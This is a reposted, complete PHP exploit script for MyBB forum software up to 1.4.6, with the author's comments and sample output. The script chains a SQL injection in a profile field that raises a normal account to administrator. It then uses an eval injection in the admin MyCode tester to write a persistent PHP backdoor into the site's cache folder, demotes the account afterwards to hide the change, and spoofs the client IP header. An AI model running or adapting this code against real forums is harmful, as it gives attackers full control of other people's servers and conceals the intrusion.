注册
登录
| 关键词： nbsp target mybbuser function array header admindir return user packet |
MyBB <= 1.4.6 Remote Code Execution Exploit - {0day/Vuln}<?PHP/*Someone decided to contact mybb''s staff informing about this vulnerability with the obvious result that this will not work anymore. Fucking moron.I''m releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag.Going to update it in the next days.For historical reason, i''m leaving the original title, but note that is <= 1.4.6 Example:paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/ --admindir /admin/[.] Initialing.[+] Logged in.[+] my_post_key variable found.[+] Turned On mybb''s invisible mode.[+] Sql code injected. You''re now admin.[+] Admindir found (or --admindir is used): /admin/.[+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7[+] Site correctly backdoored.[+] Sql code injected. You''re now user.[+] Backdoor URI: http://localhost/web/mybb/Upload//cache/themes/themes.phpAll Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.Have a nice day :P For the curious people: http://mybboard.it/forum/thread-3623.html*//*Mybb <= 1.4.4 Remote Code Execution through Sql Injection Exploit Discovered: About 4 days before the exploit was coded.Coded: 03-03-2009 Author: The:ParadoxRelease: Not yet.No php.ini setting can stop us ! =O A user (not email confirmed too) is needed.Keep private or your keyboard will blew up. */ $mybb = new maibibi2; class maibibi2 {function __construct (){ $this->user = $this->get_argv(''-u'');$this->pass = $this->get_argv(''-p'');$this->target = $this->get_argv(''-t'');$this->admindir = $this->get_argv(''--admindir''); $this->oa2u = $this->get_argv(''--onlyadmin2user'');$this->ip = ''67.167.124.135'';$this->ua = ''Mozilla 5.0'';$this->bckdr = ''/cache/themes/themes.php'';if ($this->get_argv(''--help'') !== False || $this->get_argv(''-h'') !== False) $this->help();if (!$this->user || !$this->pass) die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");if (!$this->target) die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n"); $this->http();$this->init(); }function help (){die ("Under Construction\r\n");}function get_argv ($what){global $argv;if (!$n = array_search($what, $argv)) return False;return $argv[$n+1]; }function init (){set_time_limit(0); // about 30 seconds left? Be serious.echo "[.] Initialing.\r\n"; if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");echo "[+] Logged in.\r\n"; if (!$this->mypostkey = $this->getmypostkey()) die ("My_Post_Key Not Found.\r\n");echo "[+] my_post_key variable found.\r\n"; $this->hidemefromonlinelist();echo "[+] Turned On mybb''s invisible mode.\r\n"; $this->user2admin();echo "[+] Sql code injected. You''re now admin.\r\n"; if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it''s possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n"; if (!$this->adminsid = $this->loginadmin()) die ("[-] Unable to login as admin.\r\nWhatever it''s possible your user is currently an administrator.\r\n"); echo "[+] Admin sid Found: {$this->adminsid}\r\n"; #$this->writabledirs(); $this->rce (); if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it''s possible your user is currently an administrator.\r\n");echo "[+] Site correctly backdoored.\r\n"; $this->admin2user();echo "[+] Sql code injected. You''re now user.\r\n";echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";}function ilovecookies (){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua);$this->postdata = array (''username'' => $this->user, ''password'' => $this->pass, ''submit'' => ''Login'', ''action'' => ''do_login''); $rsp = $this->post ("{$this->target}/member.php"); if (!preg_match_all (''~mybbuser=(.+?);~'',$rsp,$res)) return False;return $res[1][0]; }function getmypostkey (){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/member.php", ''Cookie'' => "mybbuser={$this->mybbuser};");$rsp = $this->get ("{$this->target}/usercp.php?action=profile");if (!preg_match_all (''~name="my_post_key" value="(.+?)" />~'',$rsp,$res)) return False;return $res[1][0]; }function hidemefromonlinelist(){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};");$this->postdata = array (''my_post_key'' => $this->mypostkey, ''invisible'' => ''1'', ''action'' => ''do_options'', ''regsubmit'' => ''Update+Options''); $rsp = $this->post ("{$this->target}/member.php"); }function user2admin (){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};");$this->postdata = array (''my_post_key'' => $this->mypostkey, ''invisible'' => ''1'', ''bday1'' => '''', ''bday2'' => '''', ''bday3'' => '''', ''website'' => ''http%3A%2F%2F'', ''profile_fields%5Bfid3%5D'' => ''Undisclosed'', ''profile_fields%5Bfid2%5D'' => ''Undisclosed'', ''profile_fields%5Bfid1%5D'' => ''Undisclosed'', ''usertitle'' => '''', ''icq'' => '''', ''aim'' => '''', ''msn'' => '''', ''yahoo'' => '''', ''away'' => ''0'', ''awayreason'' => '''', ''awayday'' => '''', ''awaymonth'' => '''', ''awayyear'' => '''', ''birthdayprivacy'' => "all'', usergroup=4, email=''[email protected]'',regip=''79.140.81.83'', longregip=''1334595923'', lastip='''', longlastip=''", ''action'' => ''do_profile'', ''regsubmit'' => ''1'');$rsp = $this->post ("{$this->target}/usercp.php");} function findadmindir (){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};");$rsp = $this->get("{$this->target}/index.php"); if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->— <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;return $res[1][0]; }function loginadmin (){ $this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};");$this->postdata = array (''username'' => $this->user, ''password'' => $this->pass, ''do'' => ''login'');$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php"); if (!preg_match_all (''~adminsid=(.+?);~'',$rsp,$res)) return False;return $res[1][0];}function writabledirs (){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/{$this->admindir}/index.php?", ''Cookie'' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");$this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ; } function rceOld (){//edits inc/functions.php (original one)$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''X-Requested-With'' => ''XMLHttpRequest'', ''Referer'' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", ''Cookie'' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");$this->postdata = array (''my_post_key'' => $this->mypostkey, ''o_o'' => ''phpinfo();'', ''regex'' => ''(.*%3F)#e%00'', ''replacement'' => ''die(eval(stripslashes($_REQUEST[\''o_o\''])));'', ''test_value'' => ''XoD'');$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode"); }function rce (){$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''X-Requested-With'' => ''XMLHttpRequest'', ''Referer'' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1", ''Cookie'' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");$this->postdata = array (''my_post_key'' => $this->mypostkey, ''o_o'' => ''JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7'', ''regex'' => ''(.*%3F)#e%00'', ''replacement'' => ''die(eval(base64_decode($_REQUEST[\''o_o\''])));'', ''test_value'' => ''XoD'', ''file'' => "../{$this->bckdr}");$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode"); } function admin2user () {$this->header = array (''client-ip'' => $this->ip ,''User-Agent'' => $this->ua, ''Referer'' => "{$this->target}/usercp.php?action=profile", ''Cookie'' => "mybbuser={$this->mybbuser};");$this->postdata = array (''my_post_key'' => $this->mypostkey, ''invisible'' => ''1'', ''bday1'' => '''', ''bday2'' => '''', ''bday3'' => '''', ''website'' => ''http%3A%2F%2F'', ''profile_fields%5Bfid3%5D'' => ''Undisclosed'', ''profile_fields%5Bfid2%5D'' => ''Undisclosed'', ''profile_fields%5Bfid1%5D'' => ''Undisclosed'', ''usertitle'' => '''', ''icq'' => '''', ''aim'' => '''', ''msn'' => '''', ''yahoo'' => '''', ''away'' => ''0'', ''awayreason'' => '''', ''awayday'' => '''', ''awaymonth'' => '''', ''awayyear'' => '''', ''birthdayprivacy'' => "all'', usergroup=2, email=''[email protected]'',regip=''79.140.81.83'', longregip=''1334595923'', lastip='''', longlastip=''", ''action'' => ''do_profile'', ''regsubmit'' => ''1'');$rsp = $this->post ("{$this->target}/usercp.php");}function checkrce_old (){$this->header = array (''client-ip'' => $this->ip ,''Cookie'' => ''x=print \''.:31337:.\''%3B;'');$rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");if (!strstr($rsp,''.:31337:.'')) return False;else return True;}function checkrce (){$this->header = array (''client-ip'' => $this->ip ,''Cookie'' => ''x=print \''.:31337:.\''%3B;'');$rsp = $this->get ("{$this->target}/{$this->bckdr}");if (!strstr($rsp,''.:31337:.'')) return False;else return True;} function http ($port = 80, $header = array(), $post = array(), $timeout = 30){$this->port = $port;$this->timeout = $timeout;$this->header = $header;$this->postdata = $post;}function get ($url){$this->url = parse_url($url);$this->packet = array();$this->packet[] = "GET {$this->url[''path'']}?{$this->url[''query'']}{$this->url[''fragment'']} HTTP/1.1";$this->packet[] = "Host: {$this->url[''host'']}";foreach ($this->header as $header => $value){ $this->packet[] = "$header: $value";} $this->packet[] = "\r\n\r\n"; $this->packet = implode ("\r\n",$this->packet);return $this->conn();}function post ($url){$this->url = parse_url($url);$this->packet = array();$this->postcontent = '''';$this->packet[] = "POST {$this->url[''path'']}?{$this->url[''query'']}{$this->url[''fragment'']} HTTP/1.1";$this->packet[] = "Host: {$this->url[''host'']}";foreach ($this->header as $header => $value){ $this->packet[] = "$header: $value";} foreach ($this->postdata as $post => $value){ if ($this->postcontent != '''') $this->postcontent .= ''&''; $this->postcontent .= "$post=$value";} $this->packet[] = ''Content-Type: application/x-www-form-urlencoded'';$this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";$this->packet[] = $this->postcontent;$this->packet = implode ("\r\n",$this->packet);return $this->conn();} function conn(){if (!isset($this->url[''port''])) $this->url[''port''] = $this->port;$sk = fsockopen ($this->url[''host''], $this->url[''port''], $eno, $estr, $this->timeout);if (!is_resource($sk)) return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;else { fputs($sk, $this->packet); $rsp = ""; while (!feof($sk)) { $rsp .= fgets ($sk, 1024); } }fclose($sk);return $rsp;} } ?> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
